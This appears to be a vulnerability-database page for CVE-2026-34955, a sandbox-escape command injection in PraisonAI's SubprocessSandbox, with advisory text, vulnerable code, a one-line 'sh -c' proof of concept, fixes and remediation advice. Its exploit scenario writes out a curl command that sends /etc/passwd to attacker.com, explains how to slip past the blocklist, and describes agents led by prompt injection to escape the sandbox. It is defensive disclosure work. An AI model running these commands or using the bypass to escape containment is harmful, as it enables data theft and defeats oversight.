Skip to main content

Python CVE-2026-34955

CRITICAL
OS Command Injection (CWE-78)
2026-04-01 https://github.com/MervinPraison/PraisonAI GHSA-r4f2-3m54-pp7q
10.0
CVSS 3.1 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Invoke SubprocessSandbox with shell=True
  2. Exploit
    Pass 'sh -c' command bypassing blocklist
  3. Execution
    Execute arbitrary shell commands
  4. Impact
    Escape sandbox restrictions

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Local user with execution privileges on SubprocessSandbox in BASIC, STRICT, or NETWORK_ISOLATED modes. Requires sh or bash available in PATH. Blocklist excludes 'sh' and 'bash' as standalone executables, allowing 'sh -c <command>' bypass.

Impact

Real-world risk is HIGH for affected deployments despite local attack vector. CVSS 8.8 with scope change (S:C) indicates the sandbox boundary is breached, allowing escape from the intended containment. Attack complexity is LOW (AC:L) with no user interaction required (UI:N), and only low-privilege local access needed (PR:L). The Changed Scope metric is particularly significant here - it models the sandbox as a security boundary, and successful exploitation grants access to resources outside that boundary (host filesystem, network, cloud metadata). The GitHub security advisory confirms exploit code exists and the PoC demonstrates one-line bypass ('sh -c id'). No CISA KEV listing indicates no confirmed mass exploitation, but the simplicity of the bypass (basic shell knowledge required) makes this highly automatable once an attacker has prompt injection or code execution within PraisonAI. SSVC framework assessment: Exploitation=POC, Automatable=Yes (trivial to script), Technical Impact=Total (arbitrary command execution). Primary risk scenario is AI agent deployments where untrusted prompts or tools can inject commands into sandbox.execute() calls - the sandbox provides zero protection against lateral movement to cloud services, exfiltration via curl/wget (reachable through sh wrapper), or persistence via cron. The vulnerability is particularly dangerous because it creates a false sense of security: administrators believe STRICT mode provides isolation when it provides none.

Exploit ScenarioDerived

An attacker with access to a PraisonAI deployment (via web interface, API, or prompt injection vector) submits a malicious agent prompt that includes tool execution commands. The agent framework passes 'sh -c curl http://attacker.com/exfil?data=$(cat /etc/passwd|base64)' to sandbox.execute(). The SubprocessSandbox's string-pattern matching sees 'sh' as the command name, which is not in blocked_commands, and passes validation. The dangerous_patterns regex searches for '| sh' and '| bash' with mandatory whitespace, which does not match the 'sh -c' syntax. subprocess.run() spawns /bin/sh with shell=True, which interprets the -c argument and executes the curl command despite 'curl' being blocked in

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 02, 2026

Command injection in PraisonAI's SubprocessSandbox allows authenticated local users to bypass all sandbox modes (BASIC, STRICT, NETWORK_ISOLATED) and execute arbitrary OS commands. The vulnerability stems from shell=True usage combined with inadequate blocklist filtering that omits 'sh' and 'bash' executables, enabling trivial escape via 'sh -c' wrapper. CVSS 8.8 (High) reflects scope change and complete CIA triad compromise. No active exploitation confirmed (not in CISA KEV), but GitHub advisor

Earlier versions of this analysis (1)
v1 Apr 02, 2026 - 00:15 CVSS 8.8

Command injection in PraisonAI's SubprocessSandbox allows authenticated local users to bypass all sandbox modes (BASIC, STRICT, NETWORK_ISOLATED) and execute arbitrary OS commands. The vulnerability stems from shell=True usage combined with inadequate blocklist filtering that omits 'sh' and 'bash' executables, enabling trivial escape via 'sh -c' wrapper. CVSS 8.8 (High) reflects scope change and complete CIA triad compromise. No active exploitation confirmed (not in CISA KEV), but GitHub advisory includes working proof-of-concept code. EPSS data not available for this recent CVE. Critical for deployments using PraisonAI's sandbox feature with untrusted agent code or exposed to prompt injection attacks.

RemediationAI

Upgrade to a patched version of PraisonAI once available from the upstream repository at https://github.com/MervinPraison/PraisonAI. Monitor the GitHub security advisory at https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-r4f2-3m54-pp7q for release announcements. The recommended code-level fix is to replace subprocess.run(command, shell=True, ...) with subprocess.run(shlex.split(command), shell=False, ...) to disable shell interpretation and prevent metacharacter injection. Until a vendor patch is released, implement compensating controls: disable sandbox mode entirely and rely on OS-level isolation (containers, VMs, seccomp-bpf, or AppArmor/SELinux profiles), restrict PraisonAI to trusted prompts only with no user-supplied tool definitions, or fork the repository and apply the shlex.split patch manually. Do not rely on adding 'sh' and 'bash' to the blocklist as a workaround - the underlying shell=True pattern remains exploitable through other interpreters (python -c, perl -e, etc). Network segmentation should be enforced at infrastructure level to prevent exfiltration even if sandbox escape occurs.

Affected Packages

pypi praisonai fix: 4.5.97

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

PraisonAI (pkg:pip/praisonai) implements a Python-based subprocess sandbox intended to restrict command execution in AI agent environments. The root cause is CWE-78 (OS Command Injection) manifesting through unsafe subprocess invocation patterns. The code calls subprocess.run() with shell=True, which spawns /bin/sh to interpret the command string, then attempts security enforcement via string-pattern matching against a blocklist. The blocklist checks Path(parts[0]).name against policy.blocked_commands and scans for patterns like '| sh' and '| bash' (requiring whitespace delimiters). However, standalone 'sh' and 'bash' executables are not blocked, and the space-dependent regex fails against compact syntax like 'id|bash'. This creates a trivial bypass: wrapping any blocked command in 'sh -c' causes the policy check to see only 'sh' (not blocked), while the shell interpreter executes the wrapped payload with full privileges. The vulnerability exists across all three sandbox modes (BASIC/STRICT/NETWORK_ISOLATED), negating the security model entirely. The shell=True parameter is the critical enabler, as it transforms a Python string into a Bourne shell command with full metacharacter interpretation.

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 10.0 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

4
Severity Changed
Jul 24, 2026 - 21:22 NVD
HIGH CRITICAL
CVSS changed
Jul 24, 2026 - 21:22 NVD
8.8 (HIGH) 10.0 (CRITICAL)
Patch released
Apr 02, 2026 - 14:30 nvd
Patch available
CVE Published
Apr 01, 2026 - 23:26 nvd
HIGH 8.8

DescriptionNVD

Summary

SubprocessSandbox in all modes (BASIC, STRICT, NETWORK_ISOLATED) calls subprocess.run() with shell=True and relies solely on string-pattern matching to block dangerous commands. The blocklist does not include sh or bash as standalone executables, allowing trivial sandbox escape in STRICT mode via sh -c '<command>'.

Details

sandbox_executor.py:179 (source) -> sandbox_executor.py:326 (sink)

python
# source -- string-pattern blocklist, sh and bash not in blocked_commands
cmd_name = Path(parts[0]).name
if cmd_name in self.policy.blocked_commands:
# sh, bash not blocked
    raise SecurityError(...)
dangerous_patterns = [
    ("| sh",   ...),
# requires space -- "id|bash" evades this
    ("| bash", ...),
# requires space
]
# sink -- shell=True spawns /bin/sh regardless of sandbox mode
result = subprocess.run(
    command,
    shell=True,
    ...
)

PoC

python
# tested on: praisonai==4.5.87 (source install)
# install: pip install -e src/praisonai
import sys
sys.path.insert(0, 'src/praisonai')
from praisonai.cli.features.sandbox_executor import SubprocessSandbox, SandboxPolicy, SandboxMode

policy = SandboxPolicy.for_mode(SandboxMode.STRICT)
sandbox = SubprocessSandbox(policy=policy)

result = sandbox.execute("sh -c 'id'")
print(result.stdout)
# expected output: uid=1000(narey) gid=1000(narey) groups=1000(narey)...

Impact

Users who deploy with --sandbox strict have no meaningful OS-level isolation. Any command blocked by the policy (curl, wget, nc, ssh) is trivially reachable via sh -c '<blocked_command>'. Combined with agent prompt injection, an attacker can escape the sandbox and reach the network, filesystem, and cloud metadata services.

Suggested Fix

python
import shlex

result = subprocess.run(
    shlex.split(command),
    shell=False,
    cwd=cwd,
    env=env,
    capture_output=capture_output,
    text=True,
    timeout=timeout
)

Executive ViewAI

Why It Matters

PraisonAI's SubprocessSandbox contains a command injection vulnerability (CVE-2026-34955, CVSS 8.8) that allows authenticated local users to execute arbitrary operating system commands by bypassing all sandbox security modes. Organizations deploying PraisonAI with untrusted code execution or prompt injection exposure face complete compromise of confidentiality, integrity, and availability on affected systems.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) restrict local system access to PraisonAI processes to privileged accounts only; (2) disable SubprocessSandbox features entirely if not required for operations; (3) implement OS-level process isolation (containers, VMs) to limit command execution scope; (4) enforce strict input validation and sanitization upstream of PraisonAI to prevent prompt injection attacks; (5) monitor subprocess execution logs for suspicious 'sh -c' or 'bash -c' patterns; (6) deploy network-level controls to prevent lateral movement from compromised PraisonAI instances.

Threat Intelligence Overview

EPSS Score
0.0%
Top 95% exploitable
Threat Intel
1
1 source
Data Quality
5 sources
Confidence: Medium
NVD CVE.org EPSS Vulnrichment GHSA GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

50
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +50
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Affected Products (CPE)NVD

pkg:pip/praisonai

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy